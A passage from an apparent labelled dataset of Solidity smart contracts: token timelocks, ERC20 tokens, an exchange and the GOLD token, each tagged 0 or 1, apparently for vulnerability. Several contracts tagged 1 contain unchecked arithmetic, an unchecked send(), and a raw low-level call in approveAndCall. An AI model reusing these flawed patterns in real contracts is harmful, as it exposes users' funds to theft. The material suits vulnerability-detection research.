function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 28512000;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x6D5B03a84af962533EF9f43c6E3EDe9065eEC1cd;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30153600;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x335380b82A7a4f94aa1f821f6c3a2a3bf0335d7C;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30412800;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x8d432A9886D2697bfd4218B1E165D577646Efa30;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity 0.4.25;
interface COSS {
function sendTokens(address _destination, address _token, uint256 _amount) public;
function sendEther(address _destination, uint256 _amount) payable public;
}
contract FSAContract{
address owner = 0xc17cbf9917ca13d5263a8d4069e566be23db1b09;
address cossContract = 0x9e96604445ec19ffed9a5e8dd7b50a29c899a10c;
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function sendTokens(address _destination, address _token, uint256 _amount) public onlyOwner {
COSS(cossContract).sendTokens(_destination,_token,_amount);
}
function sendEther(address _destination, uint256 _amount) payable public onlyOwner {
COSS(cossContract).sendEther(_destination,_amount);
}
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30240000;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0xAd5678807cf22E61818291b73326D32c637f2489;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.23;
contract SafeMath {
function safeAdd(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) internal returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token, SafeMath {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
function transfer(address _to, uint256 _value)
returns (bool success)
{
if (balances[msg.sender] >= _value && _value > 0 && balances[_to] + _value > balances[_to]) {
balances[msg.sender] = safeSubtract(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success)
{
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0 && balances[_to] + _value > balances[_to]) {
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSubtract(balances[_from], _value);
allowed[_from][msg.sender] = safeSubtract(allowed[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value)
onlyPayloadSize(2)
returns (bool success)
{
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender)
constant
onlyPayloadSize(2)
returns (uint256 remaining)
{
return allowed[_owner][_spender];
}
}
contract CutieBit is StandardToken {
string public name = "CutieBit Coin";
string public symbol = "CUTIE";
uint256 public decimals = 18;
uint256 public INITIAL_SUPPLY = 267000000 * 1 ether;
function CutieBit() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30499200;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x544422ea45F5322591289FfdcD78d431d08cF07e;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.13;
contract Ownable
{
address public owner;
constructor(address _owner) public
{
owner = _owner;
}
modifier onlyOwner()
{
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner
{
require(newOwner != address(0));
owner = newOwner;
}
}
contract IBalance {
function distributeEthProfit(address profitMaker, uint256 amount) public ;
function distributeTokenProfit (address profitMaker, address token, uint256 amount) public ;
function modifyBalance(address _account, address _token, uint256 _amount, bool _addOrSub) public;
function getAvailableBalance(address _token, address _account) public constant returns (uint256);
}
contract IToken {
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract BiLinkExchange is Ownable {
using SafeMath for uint256;
address public contractBalance;
uint256 public commissionRatio;
mapping (address => mapping ( bytes32 => uint256)) public account2Order2TradeAmount;
bool public isLegacy;
event OnTrade(bytes32 guid, address tokenGive, address tokenGet, address maker, address taker, uint256 amountGive, uint256 amountGet, uint256 amountGetTrade, uint256 timestamp);
constructor(address _owner, uint256 _commissionRatio) public Ownable(_owner) {
isLegacy= false;
commissionRatio= _commissionRatio;
}
function setThisContractAsLegacy() public onlyOwner {
isLegacy= true;
}
function setBalanceContract(address _contractBalance) public onlyOwner {
contractBalance= _contractBalance;
}
function trade(address[] _arr1, uint256[] _arr2, bytes32 _guid, uint8 _vMaker, bytes32[] _arr3) public {
require(isLegacy== false&& now <= _arr2[3]);
uint256 _amountTokenGiveTrade= _arr2[0].mul(_arr2[2]).div(_arr2[1]);
require(_arr2[2]<= IBalance(contractBalance).getAvailableBalance(_arr1[1], _arr1[2])&&_amountTokenGiveTrade<= IBalance(contractBalance).getAvailableBalance(_arr1[0], msg.sender));
bytes32 _hash = keccak256(abi.encodePacked(this, _arr1[1], _arr1[0], _arr2[1], _arr2[0], _arr2[3]));
require(ecrecover(_hash, _vMaker, _arr3[0], _arr3[1]) == _arr1[2]&& account2Order2TradeAmount[_arr1[2]][_hash].add(_arr2[2])<= _arr2[1]);
uint256 _commission= _arr2[2].mul(commissionRatio).div(10000);
IBalance(contractBalance).modifyBalance(msg.sender, _arr1[1], _arr2[2].sub(_commission), true);
IBalance(contractBalance).modifyBalance(_arr1[2], _arr1[1], _arr2[2], false);
IBalance(contractBalance).modifyBalance(msg.sender, _arr1[0], _amountTokenGiveTrade, false);
IBalance(contractBalance).modifyBalance(_arr1[2], _arr1[0], _amountTokenGiveTrade, true);
account2Order2TradeAmount[_arr1[2]][_hash]= account2Order2TradeAmount[_arr1[2]][_hash].add(_arr2[2]);
if(_arr1[1]== address(0)) {
IBalance(contractBalance).distributeEthProfit(msg.sender, _commission);
}
else {
IBalance(contractBalance).distributeTokenProfit(msg.sender, _arr1[1], _commission);
}
emit OnTrade(_guid, _arr1[0], _arr1[1], _arr1[2], msg.sender, _arr2[0], _arr2[1], _arr2[2], now);
}
} | 0 |
pragma solidity ^0.4.4;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract MertToken is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function MertToken(
) {
balances[msg.sender] = 110000000;
totalSupply = 110000000;
name = "MERT";
decimals = 0;
symbol = "MRT";
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 |
pragma solidity ^0.4.18;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract owned {
address public owner;
uint8 public n=0;
function owned(){
if(n==0){
owner = msg.sender;
n=n+1;
}
}
modifier onlyOwner {
if (msg.sender != owner) throw;
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
contract TokenERC20 is owned {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
uint256 public sellPrice;
uint256 public buyPrice;
uint minBalanceForAccounts;
event FrozenFunds(address target, bool frozen);
mapping (address => bool) public frozenAccount;
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
function mintToken(address target, uint256 mintedAmount) onlyOwner {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, owner, mintedAmount);
Transfer(owner, target, mintedAmount);
}
function freezeAccount(address target,bool _bool) onlyOwner{
if(target != 0){
frozenAccount[target] = _bool;
}
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() returns (uint amount){
amount = msg.value / buyPrice;
if (balanceOf[this] < amount) throw;
balanceOf[msg.sender] += amount;
balanceOf[this] -= amount;
Transfer(this, msg.sender, amount);
return amount;
}
function sell(uint amount) returns (uint revenue){
if (balanceOf[msg.sender] < amount ) throw;
balanceOf[this] += amount;
balanceOf[msg.sender] -= amount;
revenue = amount * sellPrice;
msg.sender.send(revenue);
Transfer(msg.sender, this, amount);
return revenue;
}
function setMinBalance(uint minimumBalanceInFinney) onlyOwner {
minBalanceForAccounts = minimumBalanceInFinney * 1 finney;
}
} | 1 |
pragma solidity ^0.4.23;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
require(!stopped);
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
contract ERC20Events {
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
}
contract ERC20 is ERC20Events {
function totalSupply() public view returns (uint);
function balanceOf(address guy) public view returns (uint);
function allowance(address src, address guy) public view returns (uint);
function approve(address guy, uint wad) public returns (bool);
function transfer(address dst, uint wad) public returns (bool);
function transferFrom(
address src, address dst, uint wad
) public returns (bool);
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
contract DSTokenBase is ERC20, DSMath {
uint256 _supply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _approvals;
constructor(uint supply) public {
_balances[msg.sender] = supply;
_supply = supply;
}
function totalSupply() public view returns (uint) {
return _supply;
}
function balanceOf(address src) public view returns (uint) {
return _balances[src];
}
function allowance(address src, address guy) public view returns (uint) {
return _approvals[src][guy];
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
if (src != msg.sender) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function approve(address guy, uint wad) public returns (bool) {
_approvals[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
}
contract DSToken is DSTokenBase(0), DSStop {
bytes32 public symbol;
uint256 public decimals = 18;
constructor(bytes32 symbol_) public {
symbol = symbol_;
}
event Mint(address indexed guy, uint wad);
event Burn(address indexed guy, uint wad);
function approve(address guy) public stoppable returns (bool) {
return super.approve(guy, uint(-1));
}
function approve(address guy, uint wad) public stoppable returns (bool) {
return super.approve(guy, wad);
}
function transferFrom(address src, address dst, uint wad)
public
stoppable
returns (bool)
{
if (src != msg.sender && _approvals[src][msg.sender] != uint(-1)) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function push(address dst, uint wad) public {
transferFrom(msg.sender, dst, wad);
}
function pull(address src, uint wad) public {
transferFrom(src, msg.sender, wad);
}
function move(address src, address dst, uint wad) public {
transferFrom(src, dst, wad);
}
function mint(uint wad) public {
mint(msg.sender, wad);
}
function burn(uint wad) public {
burn(msg.sender, wad);
}
function mint(address guy, uint wad) public auth stoppable {
_balances[guy] = add(_balances[guy], wad);
_supply = add(_supply, wad);
emit Mint(guy, wad);
}
function burn(address guy, uint wad) public auth stoppable {
if (guy != msg.sender && _approvals[guy][msg.sender] != uint(-1)) {
_approvals[guy][msg.sender] = sub(_approvals[guy][msg.sender], wad);
}
_balances[guy] = sub(_balances[guy], wad);
_supply = sub(_supply, wad);
emit Burn(guy, wad);
}
bytes32 public name = "";
function setName(bytes32 name_) public auth {
name = name_;
}
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint256 _value, bytes _data) public;
}
contract TokenController {
function proxyPayment(address _owner, bytes4 sig, bytes data) payable public returns (bool);
function onTransfer(address _from, address _to, uint _amount) public returns (bool);
function onApprove(address _owner, address _spender, uint _amount) public returns (bool);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
contract ERC223 {
function transfer(address to, uint amount, bytes data) public returns (bool ok);
function transferFrom(address from, address to, uint256 amount, bytes data) public returns (bool ok);
event ERC223Transfer(address indexed from, address indexed to, uint amount, bytes data);
}
contract GOLD is DSToken("GOLD"), ERC223 {
address public controller;
constructor() public {
setName("Evolution Land Gold");
controller = msg.sender;
}
function changeController(address _newController) auth {
controller = _newController;
}
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
if (isContract(controller)) {
if (!TokenController(controller).onTransfer(_from, _to, _amount))
revert();
}
success = super.transferFrom(_from, _to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount, bytes _data)
public
returns (bool success)
{
if (isContract(controller)) {
if (!TokenController(controller).onTransfer(_from, _to, _amount))
revert();
}
require(super.transferFrom(_from, _to, _amount));
if (isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(_from, _amount, _data);
}
emit ERC223Transfer(_from, _to, _amount, _data);
return true;
}
function transfer(
address _to,
uint256 _amount,
bytes _data)
public
returns (bool success)
{
return transferFrom(msg.sender, _to, _amount, _data);
}
function approve(address _spender, uint256 _amount) returns (bool success) {
if (isContract(controller)) {
if (!TokenController(controller).onApprove(msg.sender, _spender, _amount))
revert();
}
return super.approve(_spender, _amount);
}
function issue(address _to, uint256 _amount) public auth stoppable {
mint(_to, _amount);
}
function destroy(address _from, uint256 _amount) public auth stoppable {
_balances[_from] = sub(_balances[_from], _amount);
_supply = sub(_supply, _amount);
emit Burn(_from, _amount);
emit Transfer(_from, 0, _amount);
}
function mint(address _guy, uint _wad) auth stoppable {
super.mint(_guy, _wad);
emit Transfer(0, _guy, _wad);
}
function burn(address _guy, uint _wad) auth stoppable {
super.burn(_guy, _wad);
emit Transfer(_guy, 0, _wad);
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) returns (bool success) {
if (!approve(_spender, _amount)) revert();
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function () payable {
if (isContract(controller)) {
if (! TokenController(controller).proxyPayment.value(msg.value)(msg.sender, msg.sig, msg.data))
revert();
} else {
revert();
}
}
function claimTokens(address _token) auth {
if (_token == 0x0) {
address(msg.sender).transfer(address(this).balance);
return;
}
ERC20 token = ERC20(_token);
uint balance = token.balanceOf(this);
token.transfer(address(msg.sender), balance);
emit ClaimedTokens(_token, address(msg.sender), balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
} | 0 |
pragma solidity ^0.4.18;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
